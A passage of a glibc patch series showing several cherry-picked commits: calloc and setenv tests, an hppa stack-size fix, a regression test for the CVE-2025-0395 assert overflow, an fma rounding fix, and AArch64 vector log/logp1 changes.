+    (cherry picked from commit c3d1dac96bdd10250aa37bb367d5ef8334a093a1)
+
+diff --git a/malloc/tst-calloc.c b/malloc/tst-calloc.c
+index 01f17f9e65..5a8c7ab121 100644
+--- a/malloc/tst-calloc.c
++++ b/malloc/tst-calloc.c
+@@ -23,6 +23,7 @@
+ #include <stdio.h>
+ #include <libc-diag.h>
+ 
++#include "tst-malloc-aux.h"
+ 
+ /* Number of samples per size.  */
+ #define N 50000
+@@ -94,16 +95,19 @@ random_test (void)
+ static void
+ null_test (void)
+ {
++  /* Obscure allocation size from the compiler.  */
++  volatile size_t max_size = UINT_MAX;
++  volatile size_t zero_size = 0;
+   /* If the size is 0 the result is implementation defined.  Just make
+      sure the program doesn't crash.  The result of calloc is
+      deliberately ignored, so do not warn about that.  */
+   DIAG_PUSH_NEEDS_COMMENT;
+   DIAG_IGNORE_NEEDS_COMMENT (10, "-Wunused-result");
+   calloc (0, 0);
+-  calloc (0, UINT_MAX);
+-  calloc (UINT_MAX, 0);
+-  calloc (0, ~((size_t) 0));
+-  calloc (~((size_t) 0), 0);
++  calloc (0, max_size);
++  calloc (max_size, 0);
++  calloc (0, ~((size_t) zero_size));
++  calloc (~((size_t) zero_size), 0);
+   DIAG_POP_NEEDS_COMMENT;
+ }
+ 
+
+commit 85668221974db44459527e04d04f77ca8f8e3115
+Author: H.J. Lu <hjl.tools@gmail.com>
+Date:   Fri Jan 24 18:53:13 2025 +0800
+
+    stdlib: Test using setenv with updated environ [BZ #32588]
+    
+    Add a test for setenv with updated environ.  Verify that BZ #32588 is
+    fixed.
+    
+    Signed-off-by: H.J. Lu <hjl.tools@gmail.com>
+    Reviewed-by: Florian Weimer <fweimer@redhat.com>
+    (cherry picked from commit 8ab34497de14e35aff09b607222fe1309ef156da)
+
+diff --git a/stdlib/Makefile b/stdlib/Makefile
+index 8213fa83ef..d3a84fa641 100644
+--- a/stdlib/Makefile
++++ b/stdlib/Makefile
+@@ -307,6 +307,7 @@ tests := \
+   tst-setcontext9 \
+   tst-setcontext10 \
+   tst-setcontext11 \
++  tst-setenv-environ \
+   tst-stdbit-Wconversion \
+   tst-stdbit-builtins \
+   tst-stdc_bit_ceil \
+diff --git a/stdlib/tst-setenv-environ.c b/stdlib/tst-setenv-environ.c
+new file mode 100644
+index 0000000000..02fcef96d0
+--- /dev/null
++++ b/stdlib/tst-setenv-environ.c
+@@ -0,0 +1,36 @@
++/* Test using setenv with updated environ.
++   Copyright (C) 2025 Free Software Foundation, Inc.
++   This file is part of the GNU C Library.
++
++   The GNU C Library is free software; you can redistribute it and/or
++   modify it under the terms of the GNU Lesser General Public
++   License as published by the Free Software Foundation; either
++   version 2.1 of the License, or (at your option) any later version.
++
++   The GNU C Library is distributed in the hope that it will be useful,
++   but WITHOUT ANY WARRANTY; without even the implied warranty of
++   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
++   Lesser General Public License for more details.
++
++   You should have received a copy of the GNU Lesser General Public
++   License along with the GNU C Library; if not, see
++   <https://www.gnu.org/licenses/>.  */
++
++#include <stdlib.h>
++#include <support/check.h>
++
++extern char **environ;
++
++int
++do_test (void)
++{
++  char *valp;
++  static char *dummy_environ[] = { NULL };
++  environ = dummy_environ;
++  setenv ("A", "1", 0);
++  valp = getenv ("A");
++  TEST_VERIFY_EXIT (valp[0] == '1' && valp[1] == '\0');
++  return 0;
++}
++
++#include <support/test-driver.c>
+
+commit e899ca3651f8c5e01bf3420cfb34aad97d093f74
+Author: John David Anglin <danglin@gcc.gnu.org>
+Date:   Wed Jan 29 16:51:16 2025 -0500
+
+    nptl: Correct stack size attribute when stack grows up [BZ #32574]
+    
+    Set stack size attribute to the size of the mmap'd region only
+    when the size of the remaining stack space is less than the size
+    of the mmap'd region.
+    
+    This was reversed.  As a result, the initial stack size was only
+    135168 bytes.  On architectures where the stack grows down, the
+    initial stack size is approximately 8384512 bytes with the default
+    rlimit settings.  The small main stack size on hppa broke
+    applications like ruby that check for stack overflows.
+    
+    Signed-off-by: John David Anglin <dave.anglin@bell.net>
+
+diff --git a/nptl/pthread_getattr_np.c b/nptl/pthread_getattr_np.c
+index 1e91874767..3ce34437bc 100644
+--- a/nptl/pthread_getattr_np.c
++++ b/nptl/pthread_getattr_np.c
+@@ -145,9 +145,9 @@ __pthread_getattr_np (pthread_t thread_id, pthread_attr_t *attr)
+ 			  > (size_t) iattr->stackaddr - last_to)
+ 			iattr->stacksize = (size_t) iattr->stackaddr - last_to;
+ #else
+-		      /* The limit might be too high.  */
++		      /* The limit might be too low.  */
+ 		      if ((size_t) iattr->stacksize
+-			  > to - (size_t) iattr->stackaddr)
++			  < to - (size_t) iattr->stackaddr)
+ 			iattr->stacksize = to - (size_t) iattr->stackaddr;
+ #endif
+ 		      /* We succeed and no need to look further.  */
+
+commit d6c156c326999f144cb5b73d29982108d549ad8a
+Author: Siddhesh Poyarekar <siddhesh@sourceware.org>
+Date:   Fri Jan 31 12:16:30 2025 -0500
+
+    assert: Add test for CVE-2025-0395
+    
+    Use the __progname symbol to override the program name to induce the
+    failure that CVE-2025-0395 describes.
+    
+    This is related to BZ #32582
+    
+    Signed-off-by: Siddhesh Poyarekar <siddhesh@sourceware.org>
+    Reviewed-by: Adhemerval Zanella  <adhemerval.zanella@linaro.org>
+    (cherry picked from commit cdb9ba84191ce72e86346fb8b1d906e7cd930ea2)
+
+diff --git a/assert/Makefile b/assert/Makefile
+index 35dc908ddb..c0fe660bd6 100644
+--- a/assert/Makefile
++++ b/assert/Makefile
+@@ -38,6 +38,7 @@ tests := \
+   test-assert-perr \
+   tst-assert-c++ \
+   tst-assert-g++ \
++  tst-assert-sa-2025-0001 \
+   # tests
+ 
+ ifeq ($(have-cxx-thread_local),yes)
+diff --git a/assert/tst-assert-sa-2025-0001.c b/assert/tst-assert-sa-2025-0001.c
+new file mode 100644
+index 0000000000..102cb0078d
+--- /dev/null
++++ b/assert/tst-assert-sa-2025-0001.c
+@@ -0,0 +1,92 @@
++/* Test for CVE-2025-0395.
++   Copyright The GNU Toolchain Authors.
++   This file is part of the GNU C Library.
++
++   The GNU C Library is free software; you can redistribute it and/or
++   modify it under the terms of the GNU Lesser General Public
++   License as published by the Free Software Foundation; either
++   version 2.1 of the License, or (at your option) any later version.
++
++   The GNU C Library is distributed in the hope that it will be useful,
++   but WITHOUT ANY WARRANTY; without even the implied warranty of
++   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
++   Lesser General Public License for more details.
++
++   You should have received a copy of the GNU Lesser General Public
++   License along with the GNU C Library; if not, see
++   <https://www.gnu.org/licenses/>.  */
++
++/* Test that a large enough __progname does not result in a buffer overflow
++   when printing an assertion failure.  This was CVE-2025-0395.  */
++#include <assert.h>
++#include <inttypes.h>
++#include <signal.h>
++#include <stdbool.h>
++#include <string.h>
++#include <sys/mman.h>
++#include <support/check.h>
++#include <support/support.h>
++#include <support/xstdio.h>
++#include <support/xunistd.h>
++
++extern const char *__progname;
++
++int
++do_test (int argc, char **argv)
++{
++
++  support_need_proc ("Reads /proc/self/maps to add guards to writable maps.");
++  ignore_stderr ();
++
++  /* XXX assumes that the assert is on a 2 digit line number.  */
++  const char *prompt = ": %s:99: do_test: Assertion `argc < 1' failed.\n";
++
++  int ret = fprintf (stderr, prompt, __FILE__);
++  if (ret < 0)
++    FAIL_EXIT1 ("fprintf failed: %m\n");
++
++  size_t pagesize = getpagesize ();
++  size_t namesize = pagesize - 1 - ret;
++
++  /* Alter the progname so that the assert message fills the entire page.  */
++  char progname[namesize];
++  memset (progname, 'A', namesize - 1);
++  progname[namesize - 1] = '\0';
++  __progname = progname;
++
++  FILE *f = xfopen ("/proc/self/maps", "r");
++  char *line = NULL;
++  size_t len = 0;
++  uintptr_t prev_to = 0;
++
++  /* Pad the beginning of every writable mapping with a PROT_NONE map.  This
++     ensures that the mmap in the assert_fail path never ends up below a
++     writable map and will terminate immediately in case of a buffer
++     overflow.  */
++  while (xgetline (&line, &len, f))
++    {
++      uintptr_t from, to;
++      char perm[4];
++
++      sscanf (line, "%" SCNxPTR "-%" SCNxPTR " %c%c%c%c ",
++	      &from, &to,
++	      &perm[0], &perm[1], &perm[2], &perm[3]);
++
++      bool writable = (memchr (perm, 'w', 4) != NULL);
++
++      if (prev_to != 0 && from - prev_to > pagesize && writable)
++	xmmap ((void *) from - pagesize, pagesize, PROT_NONE,
++	       MAP_ANONYMOUS | MAP_PRIVATE, 0);
++
++      prev_to = to;
++    }
++
++  xfclose (f);
++
++  assert (argc < 1);
++  return 0;
++}
++
++#define EXPECTED_SIGNAL SIGABRT
++#define TEST_FUNCTION_ARGV do_test
++#include <support/test-driver.c>
+
+commit 523f85558152a1b9cced6d669f758c27677775ba
+Author: John David Anglin <danglin@gcc.gnu.org>
+Date:   Tue Feb 25 15:57:53 2025 -0500
+
+    math: Add optimization barrier to ensure a1 + u.d is not reused [BZ #30664]
+    
+    A number of fma tests started to fail on hppa when gcc was changed to
+    use Ranger rather than EVRP.  Eventually I found that the value of
+    a1 + u.d in this is block of code was being computed in FE_TOWARDZERO
+    mode and not the original rounding mode:
+    
+        if (TININESS_AFTER_ROUNDING)
+          {
+            w.d = a1 + u.d;
+            if (w.ieee.exponent == 109)
+              return w.d * 0x1p-108;
+          }
+    
+    This caused the exponent value to be wrong and the wrong return path
+    to be used.
+    
+    Here we add an optimization barrier after the rounding mode is reset
+    to ensure that the previous value of a1 + u.d is not reused.
+    
+    Signed-off-by: John David Anglin <dave.anglin@bell.net>
+
+diff --git a/sysdeps/ieee754/dbl-64/s_fma.c b/sysdeps/ieee754/dbl-64/s_fma.c
+index c5f5abdc68..79a3cd721d 100644
+--- a/sysdeps/ieee754/dbl-64/s_fma.c
++++ b/sysdeps/ieee754/dbl-64/s_fma.c
+@@ -244,6 +244,9 @@ __fma (double x, double y, double z)
+   /* Reset rounding mode and test for inexact simultaneously.  */
+   int j = libc_feupdateenv_test (&env, FE_INEXACT) != 0;
+ 
++  /* Ensure value of a1 + u.d is not reused.  */
++  a1 = math_opt_barrier (a1);
++
+   if (__glibc_likely (adjust == 0))
+     {
+       if ((u.ieee.mantissa1 & 1) == 0 && u.ieee.exponent != 0x7ff)
+
+commit ff10623706ea0096f3af7b38a3330ffb7fb15ae7
+Author: Joe Ramsay <Joe.Ramsay@arm.com>
+Date:   Mon Sep 9 13:00:01 2024 +0100
+
+    aarch64: Avoid redundant MOVs in AdvSIMD F32 logs
+    
+    Since the last operation is destructive, the first argument to the FMA
+    also has to be the first argument to the special-case in order to
+    avoid unnecessary MOVs. Reorder arguments and adjust special-case
+    bounds to facilitate this.
+    
+    Reviewed-by: Wilco Dijkstra  <Wilco.Dijkstra@arm.com>
+    (cherry picked from commit 8b09af572b208bfde4d31c6abbae047dcc217675)
+
+diff --git a/sysdeps/aarch64/fpu/log10f_advsimd.c b/sysdeps/aarch64/fpu/log10f_advsimd.c
+index 9347422a77..82228b599a 100644
+--- a/sysdeps/aarch64/fpu/log10f_advsimd.c
++++ b/sysdeps/aarch64/fpu/log10f_advsimd.c
+@@ -22,11 +22,11 @@
+ 
+ static const struct data
+ {
+-  uint32x4_t min_norm;
++  uint32x4_t off, offset_lower_bound;
+   uint16x8_t special_bound;
++  uint32x4_t mantissa_mask;
+   float32x4_t poly[8];
+   float32x4_t inv_ln10, ln2;
+-  uint32x4_t off, mantissa_mask;
+ } data = {
+   /* Use order 9 for log10(1+x), i.e. order 8 for log10(1+x)/x, with x in
+       [-1/3, 1/3] (offset=2/3). Max. relative error: 0x1.068ee468p-25.  */
+@@ -35,18 +35,22 @@ static const struct data
+ 	    V4 (-0x1.0fc92cp-4f), V4 (0x1.f5f76ap-5f) },
+   .ln2 = V4 (0x1.62e43p-1f),
+   .inv_ln10 = V4 (0x1.bcb7b2p-2f),
+-  .min_norm = V4 (0x00800000),
+-  .special_bound = V8 (0x7f00), /* asuint32(inf) - min_norm.  */
++  /* Lower bound is the smallest positive normal float 0x00800000. For
++     optimised register use subnormals are detected after offset has been
++     subtracted, so lower bound is 0x0080000 - offset (which wraps around).  */
++  .offset_lower_bound = V4 (0x00800000 - 0x3f2aaaab),
++  .special_bound = V8 (0x7f00), /* top16(asuint32(inf) - 0x00800000).  */
+   .off = V4 (0x3f2aaaab),	/* 0.666667.  */
+   .mantissa_mask = V4 (0x007fffff),
+ };
+ 
+ static float32x4_t VPCS_ATTR NOINLINE
+-special_case (float32x4_t x, float32x4_t y, float32x4_t p, float32x4_t r2,
+-	      uint16x4_t cmp)
++special_case (float32x4_t y, uint32x4_t u_off, float32x4_t p, float32x4_t r2,
++	      uint16x4_t cmp, const struct data *d)
+ {
+   /* Fall back to scalar code.  */
+-  return v_call_f32 (log10f, x, vfmaq_f32 (y, p, r2), vmovl_u16 (cmp));
++  return v_call_f32 (log10f, vreinterpretq_f32_u32 (vaddq_u32 (u_off, d->off)),
++		     vfmaq_f32 (y, p, r2), vmovl_u16 (cmp));
+ }
+ 
+ /* Fast implementation of AdvSIMD log10f,
+@@ -58,15 +62,21 @@ special_case (float32x4_t x, float32x4_t y, float32x4_t p, float32x4_t r2,
+ float32x4_t VPCS_ATTR NOINLINE V_NAME_F1 (log10) (float32x4_t x)
+ {
+   const struct data *d = ptr_barrier (&data);
+-  uint32x4_t u = vreinterpretq_u32_f32 (x);
+-  uint16x4_t special = vcge_u16 (vsubhn_u32 (u, d->min_norm),
+-				 vget_low_u16 (d->special_bound));
++
++  /* To avoid having to mov x out of the way, keep u after offset has been
++     applied, and recover x by adding the offset back in the special-case
++     handler.  */
++  uint32x4_t u_off = vreinterpretq_u32_f32 (x);
+ 
+   /* x = 2^n * (1+r), where 2/3 < 1+r < 4/3.  */
+-  u = vsubq_u32 (u, d->off);
++  u_off = vsubq_u32 (u_off, d->off);
+   float32x4_t n = vcvtq_f32_s32 (
+-      vshrq_n_s32 (vreinterpretq_s32_u32 (u), 23)); /* signextend.  */
+-  u = vaddq_u32 (vandq_u32 (u, d->mantissa_mask), d->off);
++      vshrq_n_s32 (vreinterpretq_s32_u32 (u_off), 23)); /* signextend.  */
++
++  uint16x4_t special = vcge_u16 (vsubhn_u32 (u_off, d->offset_lower_bound),
++				 vget_low_u16 (d->special_bound));
++
++  uint32x4_t u = vaddq_u32 (vandq_u32 (u_off, d->mantissa_mask), d->off);
+   float32x4_t r = vsubq_f32 (vreinterpretq_f32_u32 (u), v_f32 (1.0f));
+ 
+   /* y = log10(1+r) + n * log10(2).  */
+@@ -77,7 +87,7 @@ float32x4_t VPCS_ATTR NOINLINE V_NAME_F1 (log10) (float32x4_t x)
+   y = vmulq_f32 (y, d->inv_ln10);
+ 
+   if (__glibc_unlikely (v_any_u16h (special)))
+-    return special_case (x, y, poly, r2, special);
++    return special_case (y, u_off, poly, r2, special, d);
+   return vfmaq_f32 (y, poly, r2);
+ }
+ libmvec_hidden_def (V_NAME_F1 (log10))
+diff --git a/sysdeps/aarch64/fpu/log2f_advsimd.c b/sysdeps/aarch64/fpu/log2f_advsimd.c
+index db21836749..84effe4fe9 100644
+--- a/sysdeps/aarch64/fpu/log2f_advsimd.c
++++ b/sysdeps/aarch64/fpu/log2f_advsimd.c
+@@ -22,9 +22,9 @@
+ 
+ static const struct data
+ {
+-  uint32x4_t min_norm;
++  uint32x4_t off, offset_lower_bound;
+   uint16x8_t special_bound;
+-  uint32x4_t off, mantissa_mask;
++  uint32x4_t mantissa_mask;
+   float32x4_t poly[9];
+ } data = {
+   /* Coefficients generated using Remez algorithm approximate
+@@ -34,18 +34,22 @@ static const struct data
+ 	    V4 (-0x1.715458p-1f), V4 (0x1.ec701cp-2f), V4 (-0x1.7171a4p-2f),
+ 	    V4 (0x1.27a0b8p-2f), V4 (-0x1.e5143ep-3f), V4 (0x1.9d8ecap-3f),
+ 	    V4 (-0x1.c675bp-3f), V4 (0x1.9e495p-3f) },
+-  .min_norm = V4 (0x00800000),
+-  .special_bound = V8 (0x7f00), /* asuint32(inf) - min_norm.  */
++  /* Lower bound is the smallest positive normal float 0x00800000. For
++     optimised register use subnormals are detected after offset has been
++     subtracted, so lower bound is 0x0080000 - offset (which wraps around).  */
++  .offset_lower_bound = V4 (0x00800000 - 0x3f2aaaab),
++  .special_bound = V8 (0x7f00), /* top16(asuint32(inf) - 0x00800000).  */
+   .off = V4 (0x3f2aaaab),	/* 0.666667.  */
+   .mantissa_mask = V4 (0x007fffff),
+ };
+ 
+ static float32x4_t VPCS_ATTR NOINLINE
+-special_case (float32x4_t x, float32x4_t n, float32x4_t p, float32x4_t r,
+-	      uint16x4_t cmp)
++special_case (float32x4_t n, uint32x4_t u_off, float32x4_t p, float32x4_t r,
++	      uint16x4_t cmp, const struct data *d)
+ {
+   /* Fall back to scalar code.  */
+-  return v_call_f32 (log2f, x, vfmaq_f32 (n, p, r), vmovl_u16 (cmp));
++  return v_call_f32 (log2f, vreinterpretq_f32_u32 (vaddq_u32 (u_off, d->off)),
++		     vfmaq_f32 (n, p, r), vmovl_u16 (cmp));
+ }
+ 
+ /* Fast implementation for single precision AdvSIMD log2,
+@@ -56,15 +60,21 @@ special_case (float32x4_t x, float32x4_t n, float32x4_t p, float32x4_t r,
+ float32x4_t VPCS_ATTR NOINLINE V_NAME_F1 (log2) (float32x4_t x)
+ {
+   const struct data *d = ptr_barrier (&data);
+-  uint32x4_t u = vreinterpretq_u32_f32 (x);
+-  uint16x4_t special = vcge_u16 (vsubhn_u32 (u, d->min_norm),
+-				 vget_low_u16 (d->special_bound));
++
++  /* To avoid having to mov x out of the way, keep u after offset has been
++     applied, and recover x by adding the offset back in the special-case
++     handler.  */
++  uint32x4_t u_off = vreinterpretq_u32_f32 (x);
+ 
+   /* x = 2^n * (1+r), where 2/3 < 1+r < 4/3.  */
+-  u = vsubq_u32 (u, d->off);
++  u_off = vsubq_u32 (u_off, d->off);
+   float32x4_t n = vcvtq_f32_s32 (
+-      vshrq_n_s32 (vreinterpretq_s32_u32 (u), 23)); /* signextend.  */
+-  u = vaddq_u32 (vandq_u32 (u, d->mantissa_mask), d->off);
++      vshrq_n_s32 (vreinterpretq_s32_u32 (u_off), 23)); /* signextend.  */
++
++  uint16x4_t special = vcge_u16 (vsubhn_u32 (u_off, d->offset_lower_bound),
++				 vget_low_u16 (d->special_bound));
++
++  uint32x4_t u = vaddq_u32 (vandq_u32 (u_off, d->mantissa_mask), d->off);
+   float32x4_t r = vsubq_f32 (vreinterpretq_f32_u32 (u), v_f32 (1.0f));
+ 
+   /* y = log2(1+r) + n.  */
+@@ -72,7 +82,7 @@ float32x4_t VPCS_ATTR NOINLINE V_NAME_F1 (log2) (float32x4_t x)
+   float32x4_t p = v_pw_horner_8_f32 (r, r2, d->poly);
+ 
+   if (__glibc_unlikely (v_any_u16h (special)))
+-    return special_case (x, n, p, r, special);
++    return special_case (n, u_off, p, r, special, d);
+   return vfmaq_f32 (n, p, r);
+ }
+ libmvec_hidden_def (V_NAME_F1 (log2))
+diff --git a/sysdeps/aarch64/fpu/logf_advsimd.c b/sysdeps/aarch64/fpu/logf_advsimd.c
+index 3c0d0fcdc7..c20dbfd6c0 100644
+--- a/sysdeps/aarch64/fpu/logf_advsimd.c
++++ b/sysdeps/aarch64/fpu/logf_advsimd.c
+@@ -21,20 +21,22 @@
+ 
+ static const struct data
+ {
+-  uint32x4_t min_norm;
++  uint32x4_t off, offset_lower_bound;
+   uint16x8_t special_bound;
++  uint32x4_t mantissa_mask;
+   float32x4_t poly[7];
+-  float32x4_t ln2, tiny_bound;
+-  uint32x4_t off, mantissa_mask;
++  float32x4_t ln2;
+ } data = {
+   /* 3.34 ulp error.  */
+   .poly = { V4 (-0x1.3e737cp-3f), V4 (0x1.5a9aa2p-3f), V4 (-0x1.4f9934p-3f),
+ 	    V4 (0x1.961348p-3f), V4 (-0x1.00187cp-2f), V4 (0x1.555d7cp-2f),
+ 	    V4 (-0x1.ffffc8p-2f) },
+   .ln2 = V4 (0x1.62e43p-1f),
+-  .tiny_bound = V4 (0x1p-126),
+-  .min_norm = V4 (0x00800000),
+-  .special_bound = V8 (0x7f00), /* asuint32(inf) - min_norm.  */
++  /* Lower bound is the smallest positive normal float 0x00800000. For
++     optimised register use subnormals are detected after offset has been
++     subtracted, so lower bound is 0x0080000 - offset (which wraps around).  */
++  .offset_lower_bound = V4 (0x00800000 - 0x3f2aaaab),
++  .special_bound = V8 (0x7f00), /* top16(asuint32(inf) - 0x00800000).  */
+   .off = V4 (0x3f2aaaab),	/* 0.666667.  */
+   .mantissa_mask = V4 (0x007fffff)
+ };
+@@ -42,32 +44,37 @@ static const struct data
+ #define P(i) d->poly[7 - i]
+ 
+ static float32x4_t VPCS_ATTR NOINLINE
+-special_case (float32x4_t x, float32x4_t y, float32x4_t r2, float32x4_t p,
+-	      uint16x4_t cmp)
++special_case (float32x4_t p, uint32x4_t u_off, float32x4_t y, float32x4_t r2,
++	      uint16x4_t cmp, const struct data *d)
+ {
+   /* Fall back to scalar code.  */
+-  return v_call_f32 (logf, x, vfmaq_f32 (p, y, r2), vmovl_u16 (cmp));
++  return v_call_f32 (logf, vreinterpretq_f32_u32 (vaddq_u32 (u_off, d->off)),
++		     vfmaq_f32 (p, y, r2), vmovl_u16 (cmp));
+ }
+ 
+ float32x4_t VPCS_ATTR NOINLINE V_NAME_F1 (log) (float32x4_t x)
+ {
+   const struct data *d = ptr_barrier (&data);
+   float32x4_t n, p, q, r, r2, y;
+-  uint32x4_t u;
++  uint32x4_t u, u_off;
+   uint16x4_t cmp;
+ 
+-  u = vreinterpretq_u32_f32 (x);
+-  cmp = vcge_u16 (vsubhn_u32 (u, d->min_norm),
+-		  vget_low_u16 (d->special_bound));
++  /* To avoid having to mov x out of the way, keep u after offset has been
++     applied, and recover x by adding the offset back in the special-case
++     handler.  */
++  u_off = vreinterpretq_u32_f32 (x);
+ 
+   /* x = 2^n * (1+r), where 2/3 < 1+r < 4/3.  */
+-  u = vsubq_u32 (u, d->off);
++  u_off = vsubq_u32 (u_off, d->off);
+   n = vcvtq_f32_s32 (
+-      vshrq_n_s32 (vreinterpretq_s32_u32 (u), 23)); /* signextend.  */
+-  u = vandq_u32 (u, d->mantissa_mask);
++      vshrq_n_s32 (vreinterpretq_s32_u32 (u_off), 23)); /* signextend.  */
++  u = vandq_u32 (u_off, d->mantissa_mask);
+   u = vaddq_u32 (u, d->off);
+   r = vsubq_f32 (vreinterpretq_f32_u32 (u), v_f32 (1.0f));
+ 
++  cmp = vcge_u16 (vsubhn_u32 (u_off, d->offset_lower_bound),
++		  vget_low_u16 (d->special_bound));
++
+   /* y = log(1+r) + n*ln2.  */
+   r2 = vmulq_f32 (r, r);
+   /* n*ln2 + r + r2*(P1 + r*P2 + r2*(P3 + r*P4 + r2*(P5 + r*P6 + r2*P7))).  */
+@@ -80,7 +87,7 @@ float32x4_t VPCS_ATTR NOINLINE V_NAME_F1 (log) (float32x4_t x)
+   p = vfmaq_f32 (r, d->ln2, n);
+ 
+   if (__glibc_unlikely (v_any_u16h (cmp)))
+-    return special_case (x, y, r2, p, cmp);
++    return special_case (p, u_off, y, r2, cmp, d);
+   return vfmaq_f32 (p, y, r2);
+ }
+ libmvec_hidden_def (V_NAME_F1 (log))
+
+commit a991a0fc7c051d7ef2ea7778e0a699f22d4e53d7
+Author: Joe Ramsay <Joe.Ramsay@arm.com>
+Date:   Thu Sep 19 17:34:02 2024 +0100
+
+    AArch64: Add vector logp1 alias for log1p
+    
+    This enables vectorisation of C23 logp1, which is an alias for log1p.
+    There are no new tests or ulp entries because the new symbols are simply
+    aliases.
+    
+    Reviewed-by: Wilco Dijkstra  <Wilco.Dijkstra@arm.com>
+    (cherry picked from commit 751a5502bea1d13551c62c47bb9bd25bff870cda)
+
+diff --git a/bits/libm-simd-decl-stubs.h b/bits/libm-simd-decl-stubs.h
+index 08a41c46ad..5019e8e25c 100644
+--- a/bits/libm-simd-decl-stubs.h
++++ b/bits/libm-simd-decl-stubs.h
+@@ -253,6 +253,17 @@
+ #define __DECL_SIMD_log1pf64x
+ #define __DECL_SIMD_log1pf128x
+ 
++#define __DECL_SIMD_logp1
++#define __DECL_SIMD_logp1f
++#define __DECL_SIMD_logp1l
++#define __DECL_SIMD_logp1f16
++#define __DECL_SIMD_logp1f32
++#define __DECL_SIMD_logp1f64
++#define __DECL_SIMD_logp1f128
++#define __DECL_SIMD_logp1f32x
++#define __DECL_SIMD_logp1f64x
++#define __DECL_SIMD_logp1f128x
++
+ #define __DECL_SIMD_atanh
+ #define __DECL_SIMD_atanhf
+ #define __DECL_SIMD_atanhl
+diff --git a/math/bits/mathcalls.h b/math/bits/mathcalls.h
+index 6cb594b6ff..92856becc4 100644
+--- a/math/bits/mathcalls.h
++++ b/math/bits/mathcalls.h
+@@ -126,7 +126,7 @@ __MATHCALL (log2p1,, (_Mdouble_ __x));
+ __MATHCALL (log10p1,, (_Mdouble_ __x));
+ 
+ /* Return log(1 + X).  */
+-__MATHCALL (logp1,, (_Mdouble_ __x));
++__MATHCALL_VEC (logp1,, (_Mdouble_ __x));
+ #endif
+ 
+ #if defined __USE_XOPEN_EXTENDED || defined __USE_ISOC99
+diff --git a/sysdeps/aarch64/fpu/Versions b/sysdeps/aarch64/fpu/Versions
+index cc15ce2d1e..015211f5f4 100644
+--- a/sysdeps/aarch64/fpu/Versions
++++ b/sysdeps/aarch64/fpu/Versions
+@@ -135,4 +135,11 @@ libmvec {
+     _ZGVsMxv_tanh;
+     _ZGVsMxv_tanhf;
+   }
++  GLIBC_2.41 {
++    _ZGVnN2v_logp1;
++    _ZGVnN2v_logp1f;
++    _ZGVnN4v_logp1f;
++    _ZGVsMxv_logp1;
++    _ZGVsMxv_logp1f;
++  }
+ }
+diff --git a/sysdeps/aarch64/fpu/advsimd_f32_protos.h b/sysdeps/aarch64/fpu/advsimd_f32_protos.h
+index 097d403ffe..5909bb4ce9 100644
+--- a/sysdeps/aarch64/fpu/advsimd_f32_protos.h
++++ b/sysdeps/aarch64/fpu/advsimd_f32_protos.h
+@@ -36,6 +36,7 @@ libmvec_hidden_proto (V_NAME_F2(hypot));
+ libmvec_hidden_proto (V_NAME_F1(log10));
+ libmvec_hidden_proto (V_NAME_F1(log1p));
+ libmvec_hidden_proto (V_NAME_F1(log2));
++libmvec_hidden_proto (V_NAME_F1(logp1));
+ libmvec_hidden_proto (V_NAME_F1(log));
+ libmvec_hidden_proto (V_NAME_F2(pow));
+ libmvec_hidden_proto (V_NAME_F1(sin));
+diff --git a/sysdeps/aarch64/fpu/bits/math-vector.h b/sysdeps/aarch64/fpu/bits/math-vector.h
+index 7484150131..f295fe185d 100644
+--- a/sysdeps/aarch64/fpu/bits/math-vector.h
++++ b/sysdeps/aarch64/fpu/bits/math-vector.h
+@@ -113,6 +113,10 @@
+ # define __DECL_SIMD_log2 __DECL_SIMD_aarch64
+ # undef __DECL_SIMD_log2f
+ # define __DECL_SIMD_log2f __DECL_SIMD_aarch64
++# undef __DECL_SIMD_logp1
++# define __DECL_SIMD_logp1 __DECL_SIMD_aarch64
++# undef __DECL_SIMD_logp1f
++# define __DECL_SIMD_logp1f __DECL_SIMD_aarch64
+ # undef __DECL_SIMD_pow
+ # define __DECL_SIMD_pow __DECL_SIMD_aarch64
+ # undef __DECL_SIMD_powf
+@@ -180,6 +184,7 @@ __vpcs __f32x4_t _ZGVnN4v_logf (__f32x4_t);
+ __vpcs __f32x4_t _ZGVnN4v_log10f (__f32x4_t);
+ __vpcs __f32x4_t _ZGVnN4v_log1pf (__f32x4_t);
+ __vpcs __f32x4_t _ZGVnN4v_log2f (__f32x4_t);
++__vpcs __f32x4_t _ZGVnN4v_logp1f (__f32x4_t);
+ __vpcs __f32x4_t _ZGVnN4vv_powf (__f32x4_t, __f32x4_t);
+ __vpcs __f32x4_t _ZGVnN4v_sinf (__f32x4_t);
+ __vpcs __f32x4_t _ZGVnN4v_sinhf (__f32x4_t);
+@@ -207,6 +212,7 @@ __vpcs __f64x2_t _ZGVnN2v_log (__f64x2_t);
+ __vpcs __f64x2_t _ZGVnN2v_log10 (__f64x2_t);
+ __vpcs __f64x2_t _ZGVnN2v_log1p (__f64x2_t);
+ __vpcs __f64x2_t _ZGVnN2v_log2 (__f64x2_t);
++__vpcs __f64x2_t _ZGVnN2v_logp1 (__f64x2_t);
+ __vpcs __f64x2_t _ZGVnN2vv_pow (__f64x2_t, __f64x2_t);
+ __vpcs __f64x2_t _ZGVnN2v_sin (__f64x2_t);
+ __vpcs __f64x2_t _ZGVnN2v_sinh (__f64x2_t);
+@@ -239,6 +245,7 @@ __sv_f32_t _ZGVsMxv_logf (__sv_f32_t, __sv_bool_t);
+ __sv_f32_t _ZGVsMxv_log10f (__sv_f32_t, __sv_bool_t);
+ __sv_f32_t _ZGVsMxv_log1pf (__sv_f32_t, __sv_bool_t);
+ __sv_f32_t _ZGVsMxv_log2f (__sv_f32_t, __sv_bool_t);
++__sv_f32_t _ZGVsMxv_logp1f (__sv_f32_t, __sv_bool_t);
+ __sv_f32_t _ZGVsMxvv_powf (__sv_f32_t, __sv_f32_t, __sv_bool_t);
+ __sv_f32_t _ZGVsMxv_sinf (__sv_f32_t, __sv_bool_t);
+ __sv_f32_t _ZGVsMxv_sinhf (__sv_f32_t, __sv_bool_t);
+@@ -266,6 +273,7 @@ __sv_f64_t _ZGVsMxv_log (__sv_f64_t, __sv_bool_t);
+ __sv_f64_t _ZGVsMxv_log10 (__sv_f64_t, __sv_bool_t);
+ __sv_f64_t _ZGVsMxv_log1p (__sv_f64_t, __sv_bool_t);
+ __sv_f64_t _ZGVsMxv_log2 (__sv_f64_t, __sv_bool_t);
++__sv_f64_t _ZGVsMxv_logp1 (__sv_f64_t, __sv_bool_t);
